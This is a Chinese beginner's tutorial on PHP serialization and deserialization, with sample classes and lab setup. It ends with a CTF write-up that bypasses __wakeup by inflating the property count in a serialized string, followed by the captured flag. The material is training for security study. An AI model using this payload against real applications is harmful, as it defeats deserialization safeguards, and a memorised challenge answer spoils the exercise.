零基础入门——从零开始学习PHP反序列化笔记(一)
靶场环境搭建
方法一:PHPstudy搭建
GitHub地址
https://github.com/mcc0624/php_ser_Class
方法二:Docker部署
pull镜像文件
docker pull mcc0624/ser:1.8
启动容器
docker run -p 8000:80 -d mcc0624/ser:1.8
面向对象和面向过程
假设吃一份西红柿炒蛋是最终目的
面向过程
自己买好菜 切菜 洗菜 下锅 翻炒 出锅 再吃
面向对象
下楼去菜馆点西红柿炒蛋吃
类
类的定义
类定义了一件事物的抽血特点,它将数据的形式以及这些数据上的操作封装在一起
对象是具有类类型的变量,是对类的实例
内部构成:成员变量(属性)+成员函数(方法)
简单来说 水果是类 苹果、西瓜是对象
类的结构
类的内容
运行后无回显结果
实例化和赋值
代码实例
<?php
class hero{
var $name;
var $sex;
var $high;
var $weight;
function jineng($var1){
echo $this->name;
echo '释放了技能'.$var1;
}
function jisha($var2){
echo $this->name;
echo '击杀了'.$var2;
}
}
$libai=new hero();
$libai->name='李白';
$libai->sex='男';
$libai->high='185cm';
$libai->weight='70kg';
print_r($libai);
$libai->jineng('青莲剑歌');
$libai->jisha('韩信')
?>
运行结果
类的修饰符介绍
代码实例
<?php
class hero{
public $name;
private $sex;
protected $high;
public $weight;
function jineng($var1){
echo $this->name;
echo '释放了技能'.$var1;
}
function jisha($var2){
echo $this->name;
echo '击杀了'.$var2;
}
}
$libai=new hero();
echo $libai->name='李白';
echo $libai->weight='70kg';
echo $libai->sex='男';
echo $libai->high='185cm';
echo $libai->weight='70000000000kg';
?>
子类
<?php
class hero{
public $name='李白';
protected $high='185cm';
private $sex='男';
public $weight='70kg';
function jineng($var1){
echo $this->name;
echo '释放了技能'.$var1;
}
function jisha($var2){
echo $this->name;
echo '击杀了'.$var2;
}
}
class hero2 extends hero{
function test(){
echo $this->name;
echo $this->sex;
echo $this->high;
echo $this->weight;
}
}
$libai2=new hero2();
echo $libai2->test();
?>
类的成员方法
序列化
序列化的作用
表达方式
<?php
$a=null;
echo serialize($a);
?>
数组
<?php
$a=array('aaa','bbbb','ccccc');
echo $a[1];
echo serialize($a);
?>
对象
public
<?php
class test{
public $test='aaa';
public function bbb(){
echo $this->test;
}
}
$a=new test();
echo serialize($a);
?>
相当于输出的是
$test='aaa'
这一块内容
private
<?php
class aaa{
private $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo serialize($a);
?>
<?php
class aaa{
private $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo urlencode(serialize($a));
?>
protected
<?php
class aaa{
protected $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo serialize($a);
?>
<?php
class aaa{
protected $bbb='ccc';
public function ddd(){
echo $this->test;
}
}
$a=new aaa();
echo urlencode(serialize($a));
?>
调用对象
<?php
class aaa{
public $bbb='ccc';
public function ddd(){
echo $this->bbb;
}
}
class aaa2{
var $eee;
}
$a=new aaa2();
$b=new aaa();
$a->eee=$b;
echo serialize($a);
?>
aaa2含有一个名为eee的变量 值是aaa aaa是一个名为bbb的变量 值为ccc
反序列化
反序列化的特性
代码演示
反序列化之后内容为对象
<?php
class test{
public $aaa='bbb';
protected $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=serialize($eee);
$fff=unserialize($eee);
var_dump($fff);
?>
反序列化生成对象值与类预定义中的无关
先构造一个序列化之后的值给$fff
<?php
class test{
public $aaa='bbb';
protected $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=urlencode(serialize($eee));
$fff=urldecode($eee);
echo $fff;
?>
然后对$fff的值进行修改 验证反序列化后是否与原有类预定义的值有关
<?php
class test{
public $aaa='bbb';
public $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=serialize($eee);
$fff='O:4:"test":3:{s:3:"aaa";s:9:"different";s:3:"bbb";s:3:"666";s:3:"ccc";b:0;}';
$ggg=unserialize($fff);
var_dump($ggg);
?>
可以看到 对aaa的值进行修改时 反序列化之后也进行了改变 而不是test类中aaa的预定值bbb
反序列化需要调用方法后触发成员方法
<?php
class test{
public $aaa='bbb';
public $bbb='666';
public $ccc=false;
public function ddd(){
echo $this->aaa;
}
}
$eee=new test();
$eee=serialize($eee);
$ggg=unserialize($eee);
$ggg->ddd();
?>
调用了test类中的ddd方法 所以输出了类中的$aaa的变量值 即bbb
反序列化漏洞
漏洞成因
反序列化不改变类的成员方法 需要调用方法后才能触发;
通过调用方法,触发代码才行
实例演示
攻防世界例题
unserialize3
进入场景
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
?code=
代码审计:
代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的 于是 这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)
<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak)); //输出被序列化的对象(peak)
?>
运行结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化字符串各部分简单释义:
O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数
大括号内分别是:属性名类型;长度:名称:值类型:长度:值
要反序列化xctf类的同时还要绕过wakeup方法的执行(如果不绕过wakeup()方法,那么将会输出bad requests并退出脚本)
wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数
修改payload
O:4:"xctf":5:{s:4:"flag";s:3:"111";}
flag出现
cyberpeace{623ccbc0b884ccd53291b4b9de67f23d}